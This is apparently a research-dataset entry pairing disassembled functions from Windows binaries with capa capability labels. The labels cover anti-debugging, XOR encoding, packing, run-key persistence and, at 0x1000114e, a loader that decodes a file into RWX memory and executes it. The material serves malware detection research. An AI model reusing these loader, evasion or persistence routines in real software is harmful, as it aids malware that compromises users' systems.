joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4037b5
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, ecx
xor ecx, ecx
push edi
mov dword [esp + 0x1c], ecx
lea ebp, [esi + 0x10]
mov dword [esp + 0x20], ecx
xor eax, eax
mov dword [esp + 0x24], ecx
push ebp
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x30]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esi + 4]
add esp, 4
mov ebx, eax
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push eax
push edi
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403833
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x403863
mov ecx, dword [esi + 4]
lea edx, [esp + 0x10]
push 1
lea eax, [esp + 0x1c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x403863
mov eax, dword [esp + 0x10]
xor edi, edi
test eax, eax
mov dword [esp + 0x14], 1
mov esi, ebx
jbe 0x403863
mov dl, byte [esi]
push edx
call fcn.00403880
mov ecx, dword [esp + 0x14]
add esp, 4
inc esi
inc edi
mov eax, edi
and eax, 0xffff
cmp eax, ecx
jb 0x403847
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4

Function at 0x403ca0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x405270
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
call sub.MFC42.DLL_AfxGetThread
xor ebx, ebx
cmp eax, ebx
je 0x403ccf
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x7c]
jmp 0x403cd1
xor eax, eax
push 0x40d
mov ecx, eax
call sub.MFC42.DLL_CWnd::GetDlgItem
mov edi, eax
mov eax, dword [edi + 0x20]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call sub.MFC42.DLL_CDC::FromHandle
mov esi, eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x406348
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x24], ebx
push ecx
push 3
push ebx
call dword [sym.imp.GDI32.dll_CreatePen]
push eax
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CGdiObject::Attach
lea edx, [esp + 0xc]
mov ecx, esi
push edx
call sub.MFC42.DLL_CDC::SelectObject
mov ecx, dword [esp + 0x2c]
mov ebx, eax
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x14]
push eax
push ecx
push edx
mov ecx, esi
call sub.MFC42.DLL_CDC::MoveTo
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
push eax
push ecx
mov ecx, esi
call sub.MFC42.DLL_CDC::LineTo
push ebx
mov ecx, esi
call sub.MFC42.DLL_CDC::SelectObject
mov edx, dword [esi + 4]
mov eax, dword [edi + 0x20]
push edx
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
mov dword [esp + 0xc], 0x40630c
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 1
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x403d90
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x405290
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
call sub.MFC42.DLL_AfxGetThread
xor ebx, ebx
cmp eax, ebx
je 0x403dbf
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x7c]
jmp 0x403dc1
xor eax, eax
push 0x40d
mov ecx, eax
call sub.MFC42.DLL_CWnd::GetDlgItem
mov edi, eax
mov eax, dword [edi + 0x20]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call sub.MFC42.DLL_CDC::FromHandle
mov esi, eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0x406348
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x24], ebx
push ecx
push 1
push ebx
call dword [sym.imp.GDI32.dll_CreatePen]
push eax
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CGdiObject::Attach
lea edx, [esp + 0xc]
mov ecx, esi
push edx
call sub.MFC42.DLL_CDC::SelectObject
mov ecx, dword [esp + 0x2c]
mov ebx, eax
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x14]
push eax
push ecx
push edx
mov ecx, esi
call sub.MFC42.DLL_CDC::MoveTo
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
push eax
push ecx
mov ecx, esi
call sub.MFC42.DLL_CDC::LineTo
push ebx
mov ecx, esi
call sub.MFC42.DLL_CDC::SelectObject
mov edx, dword [esi + 4]
mov eax, dword [edi + 0x20]
push edx
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
mov dword [esp + 0xc], 0x40630c
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 1
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x476b05
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf0465a00
jmp 0x476b63
mov dword [esp], esp
mov word [esp + 3], sp
lea esp, [esp + 2]
mov dword [esp + 0x48], esi
jmp 0x476b79
lea esp, [esp + 2]
mov dword [esp + 0x48], ebp
push esi
push word [esp + 2]
jmp 0x476b2a
ja 0x476aef
mov dword [esp], esp
mov word [esp + 3], sp
jmp 0x476b3a
lea esp, [esp + 2]
mov dword [esp + 0x48], esi
mov dword [esp + 0x44], edi
jmp 0x476b7d
lea edi, [edi*4]
jmp 0x476b87
mov dword [esp + 0x44], edi
lea esp, [esp + 0x44]
pushfd
jmp 0x47658a
lea ecx, [esi + edi]
mov cx, word [esp]
jmp 0x476cb4
lea edi, [esp]
pushfd
push word [esp + 3]
jge 0x476baf
not edx
lea esp, [esp + 2]
jmp 0x476bbb
mov esi, dword [esp + 0x2c]
mov edi, dword [esp]
mov ebx, dword [esp]
sets al
jmp 0x476bda

Function at 0x476e56
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
inc ax
setp ah
bsf ax, si
xchg dword [esp], ebp
call fcn.00476e40
movsb byte es:[edi], byte [esi]
xor dword [ecx - reloc.KERNEL32.dll_GetProcAddress], esp
mov bl, 0xaa
lds ecx, [ebp - 0x14fcdb9c]
push esp
invalid

Function at 0x4779de
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp], ax
mov bx, cx
mov ebx, eax
sub esp, 0x16
mov dword [esp + 0xf], edi
jmp 0x477a0e
bt ebx, esp
jae 0x4779c8
jb 0x477a03
sub esp, 0x16
mov dword [esp + 0xf], edi
jmp 0x477a0e
mov word [esp], ax
mov bx, cx
mov ebx, eax
jmp 0x4779e5
lea esp, [esp + 2]
jmp 0x477dca
cmc
bts ebx, edi
push bx
btc ebx, edi
pop ax
mov eax, esi
jmp 0x477a75
rol dl, 0
jmp 0x477b60
mov word [esp + 1], di
xchg bx, ax
jmp 0x477aaa
mov eax, dword [esp]
mov bh, 0x89
mov ax, word [esp]
call fcn.00477ad1
aam 0x50
invalid
sub esp, 5
jg 0x477a54
mov word [esp + 1], di
xchg bx, ax
lea esp, [esp + 1]
jmp 0x477aae
lea esp, [esp + 1]
lea esp, [esp + 4]
xor dl, 0x8f
mov bx, word [esp]
jmp 0x477a5d
push bx
btc ebx, edi
pop ax
jmp 0x477a41
jo 0x477a36
cmc
bts ebx, edi
jmp 0x477aeb
xchg ah, bl
mov ax, word [esp]
bsr ax, cx
jo 0x477a4c
jno 0x477a4c
lea esp, [esp + 0x18]
not dl
setle al
xchg bl, bh
mov ah, ch
jmp 0x477b96

Function at 0x477bee
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap ebx
mov dx, 0x5df1
mov bh, byte [esp]
mov dx, word [esp]
mov dh, ch
jmp 0x477c4a
lea ebx, [ebx*4]
mov eax, 0xa8075cde
jmp fcn.00477bc2
xchg dword [esp], ebx
mov dx, 0xd885
lea edx, reloc.KERNEL32.dll_GetProcAddress
lea ebx, [ebx + 0x35]
call fcn.00477c34
mov bh, 0x22
mov al, 0xd7
and ah, ah
jecxz 0x477c81
jne 0x477ccf
mov ebx, edi
jmp 0x477c21
mov ebx, dword [esp]
xor cl, byte [ebp + 0xbd04]
add byte [eax], al
Function at 0x47b7cd
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov bh, byte [esp]
call fcn.0047b6a5
popal
in al, dx
bound eax, qword [0xf96930f4]
imul ecx, dword [eax], reloc.KERNEL32.dll_GetProcAddress
bt eax, edx
lea ebp, [ebp + 0x8c]
add ax, 0xdfde
xchg dx, ax
jmp 0x47b722
bts dx, di
rdtsc
rcl eax, 0xc
jmp 0x47b6bb
mov bx, ax
lea esp, [esp + 2]
push dword [esp + 4]
ret 8
mov edx, 0x5bda8a0f
push edi
xchg dword [esp + 4], ebp
push di
setle ah
xchg bx, ax
jmp 0x47b70c
bts dx, di
rdtsc
rcl eax, 0xc
mov bh, byte [esp]
rol esi, 0
mov bh, byte [esp]
rcr dl, cl
jmp 0x47b75d
jp 0x47b783
setns dl
xchg edx, eax
jmp 0x47b76a
setle bl
bts eax, esi
pushal
jmp 0x47b78f
setns dl
xchg edx, eax
setle bl
bts eax, esi
pushal
bswap edx
jmp 0x47b7ad
btc edx, ebx
jnp 0x47b7f9
neg ax
mov eax, ecx
jmp 0x47b7fe
mov word [esp + 0x12], dx
lea esp, [esp + 0x24]
not esi
rdtsc
bswap ebx
jmp 0x47b793
lea esp, [esp + 1]
rol esi, 0
jbe 0x47b743
ja 0x47b701
jmp 0x47b89e
neg ax
mov eax, ecx
call 0x47b7e0
add esi, dword [edi]
bswap ebx
mov ax, di
lea ebx, [edi*4]
jmp 0x47b81b
jmp 0x47b803
lea ebx, reloc.KERNEL32.dll_GetProcAddress
jmp 0x47b844
dec esi
setl bh
lea edx, [ebp*4]
xchg ebx, eax
rol dl, 2
jl 0x47b819
jge 0x47b803
lea esp, [esp + 2]
lea esp, [esp + 4]
jmp 0x47b831
push word [esp + 3]
ja 0x47b85e
lea esp, [esp + 2]
jmp 0x47b862

Function at 0x48293f
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
jmp 0x468d33
xor ecx, ecx
cmp dword [esp + 4], ecx
jbe 0x468d4d
push esi
movzx esi, byte [ecx + edx]
rol eax, 7
xor eax, esi
inc ecx
cmp ecx, dword [esp + 8]
jb 0x468d3c
pop esi
jmp 0x468d58
ret 4
push edi
lea esp, [esp + 4]
jmp 0x468d26

Function at 0x51cd0f
Capabilities:
Execute anti-debugging instructions

Disassembly:
dec bp
mov byte [esp], dh
mov edx, 0xdb25f61a
rdtsc
btc ebx, ecx
jmp 0x51cd2d

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4ad23e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
movsd dword es:[edi], dword [esi]
retf 0xbc50
xor ch, byte [esi + 0x7e5cbe42]
test byte [eax + 0x756bf6], ch
mov bh, 0xc4
bound esi, qword [ecx - 0x30]
push esp
outsb dx, byte [esi]
mov dl, bh
cmp byte [edi + 0x43594622], 0x8d
mov ebx, 0x82957f13
fild dword [eax]
and dword [eax - 0x3f], edi
inc esp
inc ebx
cmp eax, 0xbc7721e0
loop 0x4ad2c0
jo 0x4ad2a0
adc eax, 0xb147442c
sub dword [eax + ebp], ecx
in al, dx
mov bh, 0xa1
pop edi
fisub dword [esi + 0x69]
mov edi, 0x16203421
cmp byte [ebx], al
je 0x4ad22a
into
push ebx
jnp 0x4ad299
cmovnp ebp, dword [eax - 0x74]
call 0x7f5618bf
fucomp st(2)
jmp 0x116a103d
pop ds
adc dword [esi], esi
test dword [eax + 0x30], esp
jecxz 0x4ad2da
cmp edx, esp
mov esp, fs
loop 0x4ad2d9
mov esp, fs
cmc
clc
add dword [0x9b2ac14e], 0xc0a3b41e
jnp 0x4ad315
or eax, 0x89c9892a
leave
mov ebp, ebp
mov edx, edx
mov ecx, ecx
mov ecx, ecx
leave
mov ebx, ebx
mov edx, edx
mov edx, edx
pop edi
pop ebp
ret
and al, 0x8b
inc edx
add al, 0x8b
xor cl, byte [ecx - 0x74fbdbbc]
inc edx
or byte [ebx], dh
ror byte [ebx + 0x244c8908], cl
or byte [ebx + 0x4c890448], cl
and al, 0xc
mov eax, dword [edx + 4]
mov esi, dword [edx]
mov dword [esp + 4], eax
mov eax, dword [edx + 8]
xor edx, edx
mov ecx, dword [eax]
mov dword [esp + 8], ecx
mov ecx, dword [eax + 4]
mov dword [esp + 0xc], ecx
mov ecx, dword [eax + 8]
mov dword [esp + 0x10], ecx
mov eax, dword [eax + 0x10]
mov dword [esp + 0x20], edx
xor edx, edx
mov ecx, dword [esp]
add ecx, 0xb3c
mov word [ecx], 0
inc edx
add ecx, 2
cmp edx, 0xf
jle 0x4ad30e
rol dword [edx], 0x83
cli
movd edx, mm6
mov edx, dword [esp]
mov ecx, dword [esp]
mov edx, dword [edx + 0x1454]
mov edx, dword [ecx + edx*4 + 0xb5c]
mov word [esi + edx*4 + 2], 0
mov ecx, dword [esp]
mov edx, dword [ecx + 0x1454]
inc edx
mov dword [esp + 0x14], edx
cmp dword [esp + 0x14], 0x23d
mov edx, dword [esp + 0x14]
mov ecx, dword [esp]
lea ecx, [ecx + edx*4 + 0xb5c]
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x452004]
jne 0x401010
repz ret
jmp fcn.004013e8

Function at 0x4057d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040256c
and dword [ebp - 4], 0
cmp dword [0x4550f4], 0
mov ebx, eax
jne 0x405886
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405937
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x405937
push eax
call fcn.004024fa
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4550f4], eax
call esi
push eax
call fcn.004024fa
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4550f8], eax
call esi
push eax
call fcn.004024fa
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4550fc], eax
call esi
push eax
call fcn.004024fa
pop ecx
mov dword [0x455104], eax
test eax, eax
je 0x405886
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024fa
pop ecx
mov dword [0x455100], eax
mov eax, dword [0x455100]
cmp eax, ebx
je 0x4058de
cmp dword [0x455104], ebx
je 0x4058de
push eax
call fcn.00402575
push dword [0x455104]
mov esi, eax
call fcn.00402575
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4058de
test edi, edi
je 0x4058de
call esi
test eax, eax
je 0x4058d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4058d5
test byte [ebp - 0xc], 1
jne 0x4058de
or dword [ebp + 0x10], 0x200000
jmp 0x405917
mov eax, dword [0x4550f8]
cmp eax, ebx
je 0x405917
push eax
call fcn.00402575
pop ecx
test eax, eax
je 0x405917
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405917
mov eax, dword [0x4550fc]
cmp eax, ebx
je 0x405917
push eax
call fcn.00402575
pop ecx
test eax, eax
je 0x405917
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4550f4]
call fcn.00402575
pop ecx
test eax, eax
je 0x405937
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405939
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x44b530
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x404
mov eax, dword [0x452004]
xor eax, esp
mov dword [esp + 0x400], eax
cmp dword [0x827e54], 0x114e
mov eax, dword [esp + 0x408]
mov dword [0x827c98], eax
jne 0x44b571
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.00401006
add esp, 0x404
ret
Function at 0x44b5a0
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0xc]
push edi
cmp ebp, 0x182
jne 0x44b5c7
push 0
push 0
push 0
push str.Fal_vulenajojatad
push str.cizemovaronuhajonemiduxud_wisajimopoyexisexucute_nezirufovudukubaruzazo
push 0
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
xor edi, edi
test ebp, ebp
jle 0x44b607
push esi
mov edi, edi
lea esi, [esp + 0xc]
mov dword [esp + 0x14], 5
mov dword [esp + 0xc], 0
call fcn.0044b590
mov eax, dword [esp + 0xc]
add eax, 0x46
mov dword [esp + 0x14], eax
nop
sub dword [esp + 0x14], 0x46
mov al, byte [esp + 0x14]
xor byte [edi + ebx], al
inc edi
cmp edi, ebp
jl 0x44b5d0
pop esi
pop edi
cmp ebp, 0x2d
pop ebp
jne 0x44b622
mov dword [0x827f88], 0xa62e7790
mov dword [0x827f8c], 0xffffffff
pop ecx
ret

Function at 0x44b630
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x404
mov eax, dword [0x452004]
xor eax, esp
mov dword [esp + 0x400], eax
mov eax, dword [0x452c70]
push ebx
mov ebx, dword [0x827c9c]
push esi
mov esi, dword [0x827e54]
push eax
call fcn.0044b530
add esp, 4
cmp dword [0x827e54], 0x2f
jne 0x44b66f
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push esi
call fcn.0044b5a0
add esp, 4
cmp dword [0x827e54], 0x568
pop esi
pop ebx
jne 0x44b695
push 0
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.00401006
add esp, 0x404
ret
Function at 0x3002c924
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x620
mov eax, dword [0x3002223c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor esi, esi
push 0x40e
lea eax, [ebp - 0x61a]
push esi
push eax
mov dword [ebp - 0x620], esi
mov word [ebp - 0x61c], si
call fcn.30069ed5
push 0x206
lea eax, [ebp - 0x20a]
push esi
push eax
mov word [ebp - 0x20c], si
call fcn.30069ed5
mov edi, dword [ebp + 8]
add esp, 0x18
cmp edi, esi
je 0x3002ca90
call fcn.3002c8c2
test eax, eax
je 0x3002c9ab
cmp dword [ebp + 0xc], esi
je 0x3002c9ab
call fcn.3003da0a
test eax, eax
je 0x3002ca9b
push 0x300034a0
call fcn.3003daa4
jmp 0x3002ca9b
mov eax, dword [edi]
push esi
lea ecx, [ebp - 0x620]
push ecx
push esi
push 0x2001f
and eax, 0x10000000
push esi
neg eax
push esi
sbb eax, eax
push esi
neg eax
add eax, 0x80000001
push 0x30003264
push eax
call dword [0x30001140]
test eax, eax
je 0x3002c9f2
call fcn.3003da0a
test eax, eax
je 0x3002ca9b
push 0x30003480
jmp 0x3002c9a1
cmp dword [ebp + 0xc], esi
jne 0x3002ca0d
push 0x30003208
push dword [ebp - 0x620]
call dword [0x30001144]
jmp 0x3002ca9b
push 0x104
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [0x30001344]
cmp eax, esi
je 0x3002ca9b
dec eax
cmp word [ebp + eax*2 - 0x20c], 0x5c
jne 0x3002ca20
push 0x74
mov word [ebp + eax*2 - 0x20c], si
push 0x30003464
lea eax, [ebp - 0x20c]
push eax
push 0x3000344c
lea eax, [ebp - 0x61c]
push 0x208
push eax
call dword [fcn.300010ec]
add esp, 0x18
lea eax, [ebp - 0x61c]
push eax
call fcn.30059e13
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x61c]
push eax
push 1
push esi
push 0x30003208
push dword [ebp - 0x620]
call dword [0x30001148]
test eax, eax
je 0x3002ca9b
push esi
push 0x30303030
call fcn.300434a3
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.3006961b
leave
ret 8
Function at 0x3003ea55
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x3002223c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp word [ebx], si
push edi
mov word [ebp - 0x1c], 0x3a
mov word [ebp - 0x1a], 0x5c
mov word [ebp - 0x18], 0x2f
mov word [ebp - 0x16], 0x3c
mov word [ebp - 0x14], 0x3e
mov word [ebp - 0x12], 0x22
mov word [ebp - 0x10], 0x7c
mov word [ebp - 0xe], 0x2a
mov word [ebp - 0xc], 0x3f
mov word [ebp - 0xa], 0x26
mov word [ebp - 8], 0x2c
mov word [ebp - 6], 0x25
mov dword [ebp - 0x7c], 0x300050bc
mov dword [ebp - 0x78], 0x300050b4
mov dword [ebp - 0x74], 0x300050ac
mov dword [ebp - 0x70], 0x3000509c
mov dword [ebp - 0x6c], 0x30005094
mov dword [ebp - 0x68], 0x30005088
mov dword [ebp - 0x64], 0x3000507c
mov dword [ebp - 0x60], 0x30005070
mov dword [ebp - 0x5c], 0x30005064
mov dword [ebp - 0x58], 0x30005058
mov dword [ebp - 0x54], 0x3000504c
mov dword [ebp - 0x50], 0x30005040
mov dword [ebp - 0x4c], 0x30005034
mov dword [ebp - 0x48], 0x30005028
mov dword [ebp - 0x44], 0x3000501c
mov dword [ebp - 0x40], 0x30005010
mov dword [ebp - 0x3c], 0x30005004
mov dword [ebp - 0x38], 0x30004ff8
mov dword [ebp - 0x34], 0x30004fec
mov dword [ebp - 0x30], 0x30004fe0
mov dword [ebp - 0x2c], 0x30004fd4
mov dword [ebp - 0x28], 0x30004fc8
mov dword [ebp - 0x24], 0x30004fbc
mov ecx, ebx
je 0x3003eb8c
movzx eax, word [ecx]
xor edx, edx
cmp ax, word [ebp + edx*2 - 0x1c]
jne 0x3003eb6c
push 0x5f
pop eax
inc edx
cmp edx, 0xc
jl 0x3003eb62
cmp ax, si
mov word [ecx], ax
jbe 0x3003eb85
cmp ax, 0x20
jae 0x3003eb85
mov word [ecx], 0x5f
inc ecx
inc ecx
cmp word [ecx], si
jne 0x3003eb5d
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp + eax*4 - 0x7c]
push esi
call fcn.30059e13
mov edi, eax
push edi
push esi
push ebx
call dword [0x300010c4]
add esp, 0xc
test eax, eax
jne 0x3003ebbd
movzx eax, word [ebx + edi*2]
test ax, ax
je 0x3003ebc8
cmp ax, 0x2e
je 0x3003ebc8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x17
jl 0x3003eb8f
jmp 0x3003ebcd
mov word [ebx], 0x58
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.3006961b
leave
ret 4

Function at 0x30059d82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
cmp dword [ebp + 8], eax
mov dword [ebp - 4], eax
je 0x30059e0d
mov eax, dword [ebp + 8]
test eax, 3
je 0x30059dc0
cmp byte [eax], 0
je 0x30059e04
lea eax, [eax + 1]
test eax, 3
je 0x30059dc0
cmp byte [eax], 0
je 0x30059e04
lea eax, [eax + 1]
test eax, 3
je 0x30059dc0
cmp byte [eax], 0
je 0x30059e04
lea eax, [eax + 1]
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x1010101
xor edx, ecx
and edx, 0x80808080
je 0x30059dc0
test cl, cl
lea eax, [eax - 4]
je 0x30059e04
test ecx, 0xff00
lea eax, [eax + 1]
je 0x30059e04
test ecx, 0xff0000
lea eax, [eax + 1]
je 0x30059e04
test ecx, 0xff000000
lea eax, [eax + 1]
je 0x30059e04
lea eax, [eax + 1]
jmp 0x30059dc0
sub eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4
Function at 0x30059e13
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
cmp dword [ebp + 8], eax
mov dword [ebp - 4], eax
je 0x30059e85
mov eax, dword [ebp + 8]
test eax, 3
je 0x30059e44
cmp word [eax], 0
je 0x30059e3d
lea eax, [eax + 2]
test eax, 3
je 0x30059e44
jmp 0x30059e2b
sub eax, dword [ebp + 8]
shr eax, 1
jmp 0x30059e7f
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x10001
xor edx, ecx
and edx, 0x80008000
je 0x30059e44
sub eax, dword [ebp + 8]
shr eax, 1
test cx, cx
lea eax, [eax - 2]
je 0x30059e7f
test ecx, 0xffff0000
lea eax, [eax + 1]
je 0x30059e7f
lea eax, [eax*2 + 2]
add eax, dword [ebp + 8]
jmp 0x30059e44
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4